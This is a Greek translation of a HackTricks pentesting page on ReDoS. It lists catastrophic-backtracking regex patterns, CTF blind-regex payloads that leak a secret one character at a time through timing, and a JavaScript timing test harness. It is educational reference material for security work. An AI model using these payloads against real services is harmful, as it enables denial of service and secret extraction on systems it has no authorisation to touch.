hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

103 lines
9.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων - ReDoS
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
# Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS)
Μια **Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS)** συμβαίνει όταν κάποιος εκμεταλλεύεται τις αδυναμίες στον τρόπο λειτουργίας των κανονικών εκφράσεων (ένας τρόπος αναζήτησης και αντιστοίχισης προτύπων σε κείμενο). Μερικές φορές, όταν χρησιμοποιούνται κανονικές εκφράσεις, μπορεί να γίνουν πολύ αργές, ειδικά αν το κομμάτι κειμένου με το οποίο δουλεύουν γίνεται μεγαλύτερο. Αυτή η αργή απόκριση μπορεί να γίνει τόσο άσχημη που αυξάνεται πολύ γρήγορα με ακόμα και μικρές αυξήσεις στο μέγεθος του κειμένου. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτό το πρόβλημα για να καταστήσουν ένα πρόγραμμα που χρησιμοποιεί κανονικές εκφράσεις να μην λειτουργεί σωστά για μεγάλο χρονικό διάστημα.
## Ο Προβληματικός Αλγόριθμος Κανονικών Εκφράσεων
**Ελέγξτε τις λεπτομέρειες στο [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Κακόβουλες Κανονικές Εκφράσεις <a href="#evil-regexes" id="evil-regexes"></a>
Μια κακόβουλη κανονική έκφραση είναι αυτή που μπορεί να **μείνει αναπόδραστη σε συγκεκριμένη είσοδο προκαλώντας DoS**. Οι κακόβουλες κανονικές εκφράσεις συνήθως περιλαμβάνουν ομαδοποίηση με επανάληψη και επανάληψη ή εναλλαγή με επικάλυψη μέσα στην επαναλαμβανόμενη ομάδα. Ορισμένα παραδείγματα κακόβουλων προτύπων περιλαμβάνουν:
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} για x > 10
Όλα αυτά είναι ευάλωτα στην είσοδο `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## Πληροφορίες Εξαγωγής μέσω ReDoS
Σε ένα CTF (ή bug bounty) ίσως **έχετε έλεγχο στην Κανονική Έκφραση με την οποία ταιριάζεται μια ευαίσθητη πληροφορία (η σημαία)**. Στη συνέχεια, εάν είναι χρήσιμο, μπορείτε να κάνετε τη **σελίδα να παγώσει (timeout ή μεγαλύτερος χρόνος επεξεργασίας)** εάν η **Κανονική Έκφραση ταιριάξει** και **όχι αν δεν ταιριάξει**. Με αυτόν τον τρόπο θα μπορείτε να **εξαγάγετε** τον χαρακτήρα του συμβολοσειρά **χαρακτήρα προς χαρακτήρα**:
* Στο [**αυτό το άρθρο**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) μπορείτε να βρείτε αυτόν τον κανόνα ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Παράδειγμα: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* Στο [**αυτό το writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) μπορείτε να βρείτε αυτόν: `<flag>(((((((.*)*)*)*)*)*)*)!`
* Στο [**αυτό το writeup**](https://ctftime.org/writeup/25869) χρησιμοποίησε: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### Έλεγχος Εισόδου και Κανονικής Έκφρασης ReDoS
Τα παρακάτω είναι παραδείγματα **ReDoS** όπου **έχετε έλεγχο** τόσο στην **είσοδο** όσο και στην **κανονική έκφραση**:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Εργαλεία
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
## Αναφορές
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>